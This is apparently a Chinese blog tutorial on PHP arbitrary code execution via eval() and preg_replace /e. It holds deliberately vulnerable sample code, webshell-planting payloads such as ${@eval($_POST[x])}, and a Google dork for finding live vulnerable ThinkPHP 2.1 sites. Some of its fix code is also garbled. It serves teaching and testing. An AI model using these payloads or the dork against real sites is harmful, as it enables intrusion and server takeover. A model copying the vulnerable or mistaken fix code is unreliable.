0x00 什么是任意代码执行
0x01 为什么存在任意代码执行
几种常用函数语言,都有将字符串转化成代码去执行的相关函数。
PHP ===> eval( ),assert( )
Python ===> exec( )
Asp ===> <%=CreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll()%>
0x02 为什么使用执行代码函数
function string2array(%data){
if($data == '')
return array();
@eavl("\$array = $data");
return $array;
}
//当 $data 接受的字符串是这样时:
$data = "array(
'upload_maxsize' => '2048',
'upload_allowext' => 'jpg|jpge|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf',
'watermark_enable' ==> '1',
)"
//通过eval()函数就可以将字符串‘array(....)’作为数组赋值给$array,这样会大大的提升代码的灵活性和简洁性。
0x03 漏洞分类
eval()、assert() (不常见)
preg_replace + /e 模式
0x04 漏洞利用(本地测试)
#1:
<?php
$data = $_GET['data'];
eval("\$ret = $data;");
echo $ret;
/*
payload:
?data=phpinfo()
?data=1;phpinfo()
?data=${phpinfo()}
?data=${@eval($_POST[x])} #一句话***,可以用菜刀连接
*/
?>
#2:
<?php
$data = $_GET['data'];
echo "\$ret= '$data'";
eval("\$ret = strtolower('$data');");
echo $ret;
/*
payload:
?data=');phpinfo();//
?data=');@eval($_POST[a]);//
*/
?>
#3:
<?php
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
/*
payload
?data={${phpinfo()}}
?data=1");phpinfo();//
?data=${@eval($_POST[x])}
*/
?>
<?php
$data = $_GET['data'];
echo $data;
preg_replace('/<data>(.*)<\/data>/e', '$ret = "\\1";',$data);
echo $ret;
/*
payload:
?data=<data>${phpinfo()}</data>
注:PHP 5.5.0 /e 修饰符已经被弃用
*/
?>
0x05 修复方案
eval() ==>
能使用json保存数组、对象就是用json,不要将PHP对象保存成字符串,否则读取的时候就需要使用eval
对于必须使用eval的情况,一定要保证用户不能轻易接触eval的参数(或用正则严格判断输入的数据格式)。
对于字符串,一定要使用单引号包裹可控代码,并在插入前进行addslashes
$data = addslashes($data)
eval("\$data = eval('$data');")
preg_replace() ==>
放弃使用preg_replace的/e修饰符
使用preg_replace_callback()替换
如果必须使用preg_replace()+e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹
0x06 实例测试
前面说了一大堆理论,现在来找个实例实际测试下。(本来想把网址公开的想想还是算了,这个漏洞的破坏性还是挺大的,就不公开了,我也怕“从web安全到派出所”......)
尽管不会公开网址,但是还会告诉大家怎么去找这种存在 任意代码执行 的网站
ok,下面开始一步一步去实现漏洞的利用
任意代码执行漏洞的存在环境:thinkphp 版本:2.1
google hacking 也就是谷歌搜索啊:
intext:thinkphp intext:"Fast & Simple OOP PHP Framework"intext:"2.1"
为什么thinkphp这个版本存在 任意代码执行 漏洞,出现漏洞的代码是什么我在这就不提了,大家
有兴趣的可自行百度。


解释下这句:getcwd() 返回当前工作路径
print() 打印一下
exit() 停止加载,网站停止渲染只会显示当前工作路径

ok,现在利用完毕
本文有什么不对的地方,欢迎大家指正
欢迎大家交流学习
希望大家只用来做测试,不要搞破坏。